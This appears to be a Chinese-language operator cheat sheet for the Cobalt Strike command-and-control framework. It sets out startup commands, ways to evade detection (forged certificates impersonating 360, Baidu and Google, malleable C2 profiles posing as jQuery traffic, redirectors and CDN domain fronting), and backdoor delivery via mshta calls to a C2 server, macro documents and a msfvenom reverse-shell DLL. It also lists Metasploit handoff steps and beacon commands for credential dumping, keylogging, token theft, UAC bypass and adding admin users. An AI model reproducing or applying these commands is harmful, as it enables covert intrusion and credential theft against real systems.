CobaltStrike
CobaltStrike文件概述
data #CS自带的二进制文件
logs #日志文件
plugin #CS插件
third-party #第三方组件
cobaltstrike.store #CS密钥文件 去流量特征
├─CrossC2 #利用CS生成Linux可执行文件
agscript #调试agscript开发插件代码
c2lint #流量混淆测试工具
cobaltstrike.jar #cobaltstrike核心文件
teamserver #服务端运行程序
启动CobaltStrike
#管理员权限启动服务端
#Linux:
chmod+x*
nohup ./teamserver 192.168.172.136 admin.123 > /dev/null &
#Windows:
start /b teamserver.bat 192.168.24.166 admin.123
#启动客户端
#Linux:
nohup ./cobaltstrike > /dev/null &
#Windows:
start /b cobaltstrike_cn_run.bat
CobaltStrike 特征隐藏
1. 修改默认端口
编辑文件 teamserver 进行修改端口,默认50050
#!/bin/bash
# Start Cobalt Strike Team Server
./TeamServerImage -Dcobaltstrike.server_port=2022 -Dcobaltstrike.server_bindto=0.0.0.0 -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.keyStorePassword=123456 teamserver $*
2.去除证书特征
Cobalt Strike 默认的证书,已经被 waf 厂商标记烂了,我们要重新生成一个新的证书,这里用 JDK 自带的 keytool 证书工具来生成新证书。teamserver执行CobaltStrike命令内容解密密码一定要与生成的证书相同。
360
keytool -keystore cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias 360.com -dname "CN=US, OU=360.com, O=Sofaware, L=Somewhere, ST=Cyberspace, C=CN"
baidu
keytool -keystore cobaltStrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias baidu.com -dname "CN=ZhongGuo, OU=CC, O=CCSEC, L=BeiJing, ST=ChaoYang, C=CN"
google
keytool -keystore cobaltStrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias google.com -dname "CN=US, OU=google.com, O=Sofaware, L=Oklahoma, ST=1396 Stuart Street, C=US"
keytool -list -v -keystore cobaltstrike.store
keytool -list -v -keystore cobaltstrike.store
默认证书特征明显
3. 设置混淆配置文件
大部分流量审计软件,都能检测到 CS 默认的通信流量,所以 CS 开发团队,设置了配置文件,让用户直接设置客户端 / 服务端双向通信的流量格式以及软件相应配置, 来绕过流量审计。
https://github.com/threatexpress/malleable-c2
./teamserver ip-address password *.profile
根据不同版本下载不同文件,该项目是伪造 jQuery 的 C2-Profile。
./c2lint jquery-c2.4.4.profile
在linux下运行检查profile文件可用性
其他隐藏手段
- Nginx反向代理(前置多个vps统一安装nginx进行反向代理进行端口流量转发至真实CS服务器某个端口)bt币买vps
- 添加https证书
- CDN+域前置(云函数)建议使用国外cloudflare cdn加速
Cobaltstriek相关资源链接
https://github.com/zer0yu/Awesome-CobaltStrike
启动CobaltStrike
管理员权限 启动服务端 Linux:
chmod +x *
nohup ./teamserver 192.168.172.136 admin.123 > /dev/null &
# nohup ./teamserver CS服务端IP地址 CS连接密码 > /dev/null &
启动服务端 Windows:
start /b teamserver.bat 192.168.24.166 admin.123
启动客户端 Linux:
nohup ./cobaltstrike > /dev/null &
启动客户端 Windows:
start /b cobaltstrike_cn_run.bat CobaltStrike
CrossC2.cna配置
1.copy ./CobaltStrike_beacon_keys CrossC2/src
2.客户端配置CrossC2.cna
$$C2_PATH="C2文件的目录"
$$C2_BIN="C2执行文件名"
example:
$$C2_PATH=".......CrossC2/src/"
$$C2_BIN="genCrossC2.Linux"
生成后门
1.hta
选择监听生成即可(vbs/powershell/executable)
部署到cs服务器的web上
钓鱼攻击-文件下载-选择文件-设定URI-设定端口
执行mshta.exe http://192.168.172.136:8888/download/file.ext
2.宏病毒 copy 宏代码-插入到word|xlsx文档
3.shellcode 生成器 C|C#|Python......、
4.windows exe|service exe |dll
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.120 LPORT=443 -f dll > /tmp/dll_x64.dll
命令行执行: regsvr32 dll_x64.dll
MSF 联动 CS
1.CS->MSF
CS创建MSF的外置监听器,监听ip|port和msf一致
handler -H 0.0.0.0 -P 5555 -p windows/meterpreter/reverse_http
2.MSF->CS
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http #cs监听的payload 32|64
set lhost cs-server-ip #设置cs ip
set lport cs-listen-port #设置 cs监听的端口
set disablepayloadhandler 1 #执行payload但不监听端口
run -j -z #后台执行
BeaconCommands
Command Description
browserpivot 注入受害者浏览器进程(explorer.exe|firefox.exe)
bypassuac 绕过UAC (弹框点击)
cancel 取消正在进行的下载
cd 切换目录
checkin 强制让被控端回连一次
clear 清除beacon内部的任务队列
connect Connect to a Beacon peerover TCP 连接正向tcp
covertvpn 部署Covert VPN客户端
cp 复制文件
dcsync 从DC中提取密码哈希
desktop 远程VNC
dllinject 反射DLL注入进程
dllload 使用LoadLibrary将DLL加载到进程中
download 下载文件
downloads 列出正在进行的文件下载
drives 列出目标盘符
elevate 尝试提权
execute 在目标上执行程序(无输出)
execute-assembly 在目标上内存中执行本地.NET程序
exit 退出beacon
getprivs Enable system privileges oncurrent token
getsystem 尝试获取SYSTEM权限
getuid 获取用户ID
hashdump 转储密码哈希值
help 帮助
inject 在特定进程中生成会话
jobkill 杀死一个后台任务
jobs 列出后台任务
kerberos_ccache_use 从ccache文件中导入票据应用于此会话
kerberos_ticket_purge 清除当前会话的票据
kerberos_ticket_use 从ticket文件中导入票据应用于此会话
keylogger 键盘记录
kill 结束进程
link Connect to a Beacon peerover a named pipe 连接smb beacon
logonpasswords 使用mimikatz转储凭据和哈希值
ls 列出文件
make_token 创建令牌以传递凭据
mimikatz 运行mimikatz
mkdir 创建一个目录
mode dns 使用DNS A作为通信通道(仅限DNS beacon)
mode dns-txt 使用DNS TXT作为通信通道(仅限D beacon)
mode dns6 使用DNS AAAA作为通信通道(仅限DNS beacon)
mode http 使用HTTP作为通信通道
mv 移动文件
net net命令
note 备注
portscan 进行端口扫描
powerpick 通过Unmanaged PowerShell执行命令
powershell 通过powershell.exe执行命令
powershell-import 导入powershell脚本
ppid Set parent PID forspawned post-ex jobs
ps 显示进程列表
psexec Use a service to spawn asession on a host
psexec_psh Use PowerShell to spawn asession on a host
psinject 在特定进程中执行PowerShell命令
pth 使用Mimikatz进行传递哈希
pwd 当前目录位置
reg Query the registry #查询注册表
rev2self 恢复原始令牌
rm 删除文件或文件夹
rportfwd 端口转发
run 在目标上执行程序(返回输出)
runas 以另一个用户权限执行程序
runasadmin 在高权限下执行程序
runu Execute a program underanother PID #执行其他程序
screenshot 屏幕截图
setenv 设置环境变量
shell cmd执行命令
shinject 将shellcode注入进程
shspawn 生成进程并将shellcode注入其中
sleep 设置睡眠延迟时间
socks 启动SOCKS4代理
socks stop 停止SOCKS4
spawn Spawn a session
spawnas Spawn a session as anotheruser
spawnto Set executable tospawn processes into
spawnu Spawn a session underanother PID
ssh 使用ssh连接远程主机
ssh-key 使用密钥连接远程主机
steal_token 从进程中窃取令牌
timestomp 将一个文件时间戳应用到另一个文件
unlink Disconnect from parentBeacon 断开连接
upload 上传文件
wdigest 使用mimikatz转储明文凭据
winrm 使用WinRM在主机上生成会话
wmi 使用WMI在主机
argue 进程参数欺骗(argue net1 qwertyuiop/execute net1 user admin ICQsafe666 /add)